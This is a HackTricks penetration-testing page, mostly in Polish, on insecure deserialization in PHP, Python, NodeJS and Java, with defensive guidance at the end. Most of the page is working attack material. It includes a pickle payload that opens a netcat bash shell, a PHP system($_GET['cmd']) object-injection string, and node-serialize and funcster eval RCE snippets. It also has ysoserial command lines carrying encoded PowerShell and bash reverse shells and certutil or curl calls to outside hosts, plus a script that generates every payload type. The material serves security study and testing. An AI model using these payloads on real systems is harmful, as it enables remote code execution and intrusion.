Deserialization
Reading time: 41 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Serialization rozumiana jest jako metoda konwertowania obiektu do formatu, który można zachować, w celu jego przechowywania lub przesłania w ramach komunikacji. Technika ta jest często stosowana, aby umożliwić odtworzenie obiektu w późniejszym czasie, zachowując jego strukturę i stan.
Deserialization, odwrotnie, to proces przeciwny do Serialization. Polega na pobraniu danych sformatowanych w określony sposób i odtworzeniu z nich obiektu.
Deserialization może być niebezpieczny, ponieważ potencjalnie pozwala atakującym manipulować serialized danymi, aby wykonać złośliwy kod lub spowodować nieoczekiwane zachowanie aplikacji podczas procesu odtwarzania obiektu.
PHP
W PHP podczas procesów serialization i deserialization używane są specyficzne magiczne metody:
__sleep
: Wywoływana, gdy obiekt jest serialized. Ta metoda powinna zwracać tablicę z nazwami wszystkich właściwości obiektu, które mają zostać serialized. Zwykle używana do zatwierdzania oczekujących danych lub wykonywania podobnych czynności porządkowych.__wakeup
: Wywoływana, gdy obiekt jest deserialized. Służy do przywrócenia połączeń z bazą danych, które mogły zostać utracone podczas serialization, oraz do innych zadań reinicjalizacyjnych.__unserialize
: Ta metoda jest wywoływana zamiast__wakeup
(jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserialization w porównaniu do__wakeup
.__destruct
: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zwykle służy do zadań porządkowych, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.__toString
: Ta metoda pozwala traktować obiekt jako string. Może być użyta do odczytu pliku lub innych zadań zależnych od wywołań funkcji w jej wnętrzu, efektywnie dostarczając tekstową reprezentację obiektu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
If you look to the results you can see that the functions __wakeup
and __destruct
are called when the object is deserialized. Note that in several tutorials you will find that the __toString
function is called when trying yo print some attribute, but apparently that's not happening anymore.
warning
Metoda __unserialize(array $data)
jest wywoływana zamiast __wakeup()
jeśli jest zaimplementowana w klasie. Pozwala ona odtworzyć obiekt przez przekazanie zserializowanych danych jako tablicy. Możesz użyć tej metody do odtworzenia właściwości i wykonania wszelkich niezbędnych czynności podczas deserializacji.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Możesz nadużyć funkcjonalności PHP autoload, aby załadować dowolne pliki php i nie tylko:
PHP - Deserialization + Autoload Classes
Serializing Referenced Values
Jeśli z jakiegoś powodu chcesz zserializować wartość jako odwołanie do innej zserializowanej wartości, możesz:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Zapobieganie PHP Object Injection za pomocą allowed_classes
info
Obsługa drugiego argumentu unserialize()
(tablica $options
) została dodana w PHP 7.0. W starszych wersjach funkcja przyjmuje tylko zserializowany łańcuch, co uniemożliwia ograniczenie, które klasy mogą zostać zainstancjonowane.
unserialize()
będzie tworzyć instancje każdej klasy, którą znajdzie w zserializowanym strumieniu, chyba że określono inaczej. Od PHP 7 zachowanie można ograniczyć za pomocą opcji allowed_classes
:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Jeśli allowed_classes
zostanie pominięte lub kod działa na PHP < 7.0, wywołanie staje się niebezpieczne, ponieważ atakujący może spreparować payload, który nadużywa metod magicznych takich jak __wakeup()
lub __destruct()
, aby osiągnąć Remote Code Execution (RCE).
Real-world example: Everest Forms (WordPress) CVE-2025-52709
Wtyczka WordPress Everest Forms ≤ 3.2.2 próbowała zabezpieczyć się za pomocą helper wrappera, ale zapomniała o starszych wersjach PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Na serwerach, które nadal działały na PHP ≤ 7.0, ta druga gałąź prowadziła do klasycznego PHP Object Injection, gdy administrator otworzył złośliwe przesłanie formularza. Minimalny exploit payload mógł wyglądać tak:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Gdy administrator zobaczył wpis, obiekt został zainstancjonowany, a SomeClass::__destruct()
zostało wykonane, co doprowadziło do wykonania dowolnego kodu.
Wnioski
- Zawsze przekazuj
['allowed_classes' => false]
(lub ścisłą białą listę) przy wywoływaniuunserialize()
. - Zaudytuj mechanizmy obronne – często zapominają o starych gałęziach PHP.
- Aktualizacja do PHP ≥ 7.x sama w sobie nie wystarczy: opcja nadal musi być podana jawnie.
PHPGGC (ysoserial dla PHP)
PHPGGC może pomóc w generowaniu payloadów do wykorzystania deserializacji PHP.
Zwróć uwagę, że w kilku przypadkach nie będziesz w stanie znaleźć sposobu na wykorzystanie deserializacji w kodzie źródłowym aplikacji, ale możesz być w stanie wykorzystać kod zewnętrznych rozszerzeń PHP.
Więc, jeśli możesz, sprawdź phpinfo()
serwera i przeszukaj internet (a nawet na gadgets PHPGGC) w poszukiwaniu możliwych gadgetów, które mógłbyś wykorzystać.
phar:// deserializacja metadanych
Jeśli znalazłeś LFI, które jedynie odczytuje plik i nie wykonuje w nim kodu php, na przykład używając funkcji takich jak file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Możesz spróbować wykorzystać deserializację zachodzącą podczas odczytu pliku przy użyciu protokołu phar.
Po więcej informacji przeczytaj następujący wpis:
Python
Pickle
Gdy obiekt zostanie zdeserializowany przez Pickle (unpickled), funkcja ___reduce___ zostanie wykonana.
W przypadku wykorzystania może to spowodować zwrócenie błędu przez serwer.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Zanim sprawdzisz bypass technique, spróbuj użyć print(base64.b64encode(pickle.dumps(P(),2)))
, aby wygenerować obiekt kompatybilny z python2 jeśli uruchamiasz python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
Poniższa strona przedstawia technikę wykorzystania niebezpiecznej deserializacji w bibliotekach yaml Pythona i kończy opisem narzędzia, które może być użyte do wygenerowania payload deserializacji RCE dla Pickle, PyYAML, jsonpickle i ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS nie ma "magicznych" funkcji takich jak PHP czy Python, które będą wykonywane tylko przy tworzeniu obiektu. Ale ma kilka funkcji, które są często używane nawet bez bezpośredniego wywołania takich jak toString
, valueOf
, toJSON
.
Jeśli przy wykorzystywaniu deserializacji uda ci się przejąć te funkcje, by wykonywały inny kod (potencjalnie wykorzystując prototype pollutions), możesz wykonać dowolny kod, gdy zostaną wywołane.
Inny "magiczny" sposób wywołania funkcji bez jej bezpośredniego wywołania to przejęcie obiektu zwracanego przez async function (promise). Ponieważ, jeśli przekształcisz ten obiekt zwrotny w inną promise z własnością nazwaną "then" typu function, zostanie ona wykonana tylko dlatego, że jest zwrócona przez inną promise. Zobacz this link po więcej informacji.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
and prototype
pollution
Jeśli chcesz poznać tę technikę, zapoznaj się z poniższym samouczkiem:
NodeJS - proto & prototype Pollution
node-serialize
Ta biblioteka pozwala serializować funkcje. Przykład:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
zserializowany obiekt będzie wyglądał następująco:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
W przykładzie widać, że gdy funkcja zostaje zserializowana, flaga _$$ND_FUNC$$_
jest dołączana do zserializowanego obiektu.
Inside the file node-serialize/lib/serialize.js
you can find the same flag and how the code is using it.
Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, eval
jest używany do deserializacji funkcji, więc zasadniczo user input jest używany wewnątrz funkcji eval
.
Jednak same zserializowanie funkcji nie spowoduje jej wykonania, ponieważ konieczne byłoby, aby jakaś część kodu wywoływała y.rce
w naszym przykładzie, a to jest wysoce mało prawdopodobne.
Tak czy inaczej, możesz po prostu zmodyfikować zserializowany obiekt, dodając nawiasy, aby automatycznie wykonać zserializowaną funkcję podczas deserializacji obiektu.
W następnym fragmencie kodu zwróć uwagę na ostatni nawias i jak funkcja unserialize
automatycznie wykona kod:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Jak wcześniej wskazano, ta biblioteka pobierze kod po _$$ND_FUNC$$_
i wykona go za pomocą eval
. Dlatego, aby automatycznie wykonać kod, możesz usunąć część tworzącą funkcję i ostatni nawias oraz po prostu wykonać JS oneliner, jak w poniższym przykładzie:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Możesz find here znaleźć dalsze informacje o tym, jak wykorzystać tę podatność.
funcster
Istotnym aspektem funcster jest brak dostępu do standardowych wbudowanych obiektów; znajdują się one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu, który próbuje wywołać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak "ReferenceError: console is not defined" przy użyciu poleceń takich jak console.log()
lub require(something)
.
Mimo tego ograniczenia możliwe jest przywrócenie pełnego dostępu do kontekstu globalnego, łącznie ze wszystkimi standardowymi wbudowanymi obiektami, poprzez określone podejście. Wykorzystując kontekst globalny bezpośrednio, można obejść to ograniczenie. Na przykład dostęp można ponownie ustawić przy pomocy następującego fragmentu:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Aby uzyskać więcej informacji przeczytaj more information read this source.
serialize-javascript
Pakiet serialize-javascript jest przeznaczony wyłącznie do celów serialization i nie posiada żadnych wbudowanych możliwości deserialization. Użytkownicy są odpowiedzialni za zaimplementowanie własnej metody deserialization. W oficjalnym przykładzie sugerowane jest bezpośrednie użycie eval
do deserializing serialized data:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Jeśli ta funkcja jest używana do deserialize obiektów, możesz easily exploit it:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Dla more information read this source.
Biblioteka Cryo
Na kolejnych stronach znajdziesz informacje o tym, jak wykorzystać tę bibliotekę do wykonania dowolnych poleceń:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
W Java, deserialization callbacks are executed during the process of deserialization. To zachowanie może zostać wykorzystane przez atakujących, którzy przygotują malicious payloads wywołujące te callbacki, co może skutkować wykonaniem złośliwych działań.
Sygnatury
White Box
Aby zidentyfikować potencjalne serialization vulnerabilities w kodzie źródłowym, wyszukaj:
- Klasy implementujące interfejs
Serializable
. - Użycie
java.io.ObjectInputStream
, funkcjireadObject
,readUnshare
.
Zwróć szczególną uwagę na:
XMLDecoder
używany z parametrami definiowanymi przez zewnętrznych użytkowników.- Metodę
fromXML
XStream, szczególnie jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy związane z serialization. ObjectInputStream
w połączeniu z metodąreadObject
.- Implementacje metod takich jak
readObject
,readObjectNodData
,readResolve
, lubreadExternal
. ObjectInputStream.readUnshared
.- Ogólne użycie
Serializable
.
Black Box
Podczas black box testing zwracaj uwagę na specyficzne signatures or "Magic Bytes", które wskazują na java serialized objects (pochodzące z ObjectInputStream
):
- Wzorzec heksadecymalny:
AC ED 00 05
. - Wzorzec Base64:
rO0
. - Nagłówki odpowiedzi HTTP z
Content-type
ustawionym naapplication/x-java-serialized-object
. - Wzorzec heksadecymalny wskazujący na wcześniejszą kompresję:
1F 8B 08 00
. - Wzorzec Base64 wskazujący na wcześniejszą kompresję:
H4sIA
. - Pliki webowe z rozszerzeniem
.faces
i parametrfaces.ViewState
. Odnalezienie tych wzorców w aplikacji webowej powinno skłonić do analizy zgodnie z opisem w post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Sprawdź, czy istnieje podatność
Jeśli chcesz dowiedzieć się, jak działa Java Deserialized exploit powinieneś zapoznać się z Basic Java Deserialization, Java DNS Deserialization, oraz CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
W nowoczesnych codebases deserialization bywa opakowywana w java.security.SignedObject
, a podpis jest weryfikowany przed wywołaniem getObject()
(które deserializuje wewnętrzny obiekt). Uniemożliwia to użycie dowolnych top-level gadget classes, ale nadal może być exploitable, jeśli atakujący zdobędzie ważny podpis (np. private-key compromise lub signing oracle). Dodatkowo, przepływy obsługi błędów mogą mintować session-bound tokens dla unauthenticated users, ujawniając wcześniej chronione sinks pre-auth.
Dla konkretnego studium przypadku z requests, IoCs, i wskazówkami dotyczącymi hardeningu, zobacz:
Java Signedobject Gated Deserialization
White Box Test
Możesz sprawdzić, czy zainstalowano jakąkolwiek aplikację z znanymi podatnościami.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to sprawdzić wszystkie biblioteki znane jako podatne i dla których Ysoserial może dostarczyć exploit. Albo możesz sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet.
Możesz też użyć gadgetinspector do przeszukania możliwych gadget chainów, które da się wykorzystać.
Podczas uruchamiania gadgetinspector (po zbudowaniu) nie zwracaj uwagi na masę warningów/errów, przez które przechodzi i pozwól mu się dokończyć. Zapisze wszystkie wyniki w gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Proszę zwrócić uwagę, że gadgetinspector nie stworzy exploita i może wskazywać false positives.
Black Box Test
Używając rozszerzenia Burp gadgetprobe możesz zidentyfikować które biblioteki są dostępne (a nawet ich wersje). Z tą informacją może być łatwiej wybrać payload, aby wykorzystać podatność.
Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe.
GadgetProbe koncentruje się na deserializacjach ObjectInputStream
.
Używając rozszerzenia Burp Java Deserialization Scanner możesz zidentyfikować podatne biblioteki wykorzystywalne przez ysoserial i eksploitować je.
Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.
Java Deserialization Scanner skupia się na deserializacjach ObjectInputStream
.
Możesz też użyć Freddy aby wykrywać podatności deserializacji w Burp. Ten plugin wykryje nie tylko problemy związane z ObjectInputStream
, ale także podatności wynikające z bibliotek deserializacji Json i Yml. W trybie aktywnym spróbuje je potwierdzić używając payloadów sleep lub DNS.
Więcej informacji o Freddy znajdziesz tutaj.
Serialization Test
Nie chodzi tylko o sprawdzenie, czy serwer używa jakiejś podatnej biblioteki. Czasami możesz być w stanie zmienić dane w serializowanym obiekcie i ominąć pewne kontrole (może to dać Ci uprawnienia admina w webappie).
Jeśli znajdziesz obiekt java serialized wysyłany do aplikacji webowej, możesz użyć SerializationDumper aby wydrukować w bardziej czytelny sposób obiekt serializacji, który jest wysyłany. Wiedząc, jakie dane wysyłasz, łatwiej będzie je zmodyfikować i obejść niektóre kontrole.
Exploit
ysoserial
Głównym narzędziem do eksploatacji Java deserializacji jest ysoserial (download here). Możesz też rozważyć użycie ysoseral-modified, które pozwoli Ci używać złożonych poleceń (np. z pipes).
Zauważ, że to narzędzie jest skoncentrowane na eksploatowaniu deserializacji ObjectInputStream
.
Zacząłbym od użycia payloadu "URLDNS" przed payloadem RCE, aby przetestować, czy injekcja jest możliwa. Warto jednak pamiętać, że payload "URLDNS" może nie działać, podczas gdy inny payload RCE zadziała.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world"
but you can't do python2 -c 'print "Hello world"'
). In order to encode correctly the payload you could use this webpage.
Feel free to use the next script to create all the possible code execution payloads for Windows and Linux and then test them on the vulnerable web page:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection wraz z ysoserial, aby stworzyć więcej exploitów. Więcej informacji o tym narzędziu w slajdach prezentacji, w której narzędzie zostało zaprezentowane: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec może być użyty do generowania payloadów do exploitowania różnych bibliotek serializacji Json i Yml w Java.
Aby skompilować projekt, musiałem dodać te zależności do pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Zainstaluj maven i skompiluj projekt:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Przeczytaj więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratoria
- Jeśli chcesz przetestować niektóre ysoserial payloads możesz uruchomić tę webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Dlaczego
Java używa serializacji w wielu miejscach, np.:
- HTTP requests: Serialization jest szeroko stosowana w zarządzaniu parametrami, ViewState, cookies itp.
- RMI (Remote Method Invocation): Protokół Java RMI, który opiera się całkowicie na serialization, jest fundamentem komunikacji zdalnej w aplikacjach Java.
- RMI over HTTP: Ta metoda jest powszechnie używana przez aplikacje typu thick client oparte na Javie, wykorzystując serialization do całej komunikacji obiektowej.
- JMX (Java Management Extensions): JMX wykorzystuje serialization do przesyłania obiektów przez sieć.
- Custom Protocols: W Javie standardową praktyką jest transmisja raw Java objects, co zostanie zademonstrowane w nadchodzących exploit examples.
Zapobieganie
Transient objects
Klasa, która implementuje Serializable
, może oznaczyć jako transient
dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Unikaj serializacji klasy, która musi implementować Serializable
W scenariuszach, gdzie obiekty muszą implementować interfejs Serializable
ze względu na hierarchię klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty nie są możliwe do deserializacji, definiując final
metodę readObject()
, która za każdym razem rzuca wyjątek, jak pokazano poniżej:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Zwiększanie bezpieczeństwa deserializacji w Java
Dostosowywanie java.io.ObjectInputStream
to praktyczne podejście do zabezpieczenia procesów deserializacji. Ta metoda jest odpowiednia, gdy:
- Kod deserializacji jest pod Twoją kontrolą.
- Klasy spodziewane do deserializacji są znane.
Zastąp metodę resolveClass()
aby ograniczyć deserializację tylko do dozwolonych klas. To zapobiega deserializacji dowolnej klasy poza tymi wyraźnie dozwolonymi, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie blacklisting harmful classes, przy użyciu parametru JVM:
-javaagent:name-of-agent.jar
Zapewnia sposób na zabezpieczenie deserialization w sposób dynamiczny, idealny dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.
Zobacz przykład w rO0 by Contrast Security
Wdrażanie filtrów serializacji: Java 9 wprowadził serialization filters za pomocą interfejsu ObjectInputFilter
, dostarczając potężny mechanizm umożliwiający określenie kryteriów, które serialized objects muszą spełniać przed ich deserialization. Filtry te można zastosować globalnie lub per stream, zapewniając granularną kontrolę nad procesem deserialization.
Aby korzystać z serialization filters, można ustawić globalny filtr mający zastosowanie do wszystkich operacji deserialization lub skonfigurować go dynamicznie dla konkretnych streamów. Na przykład:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
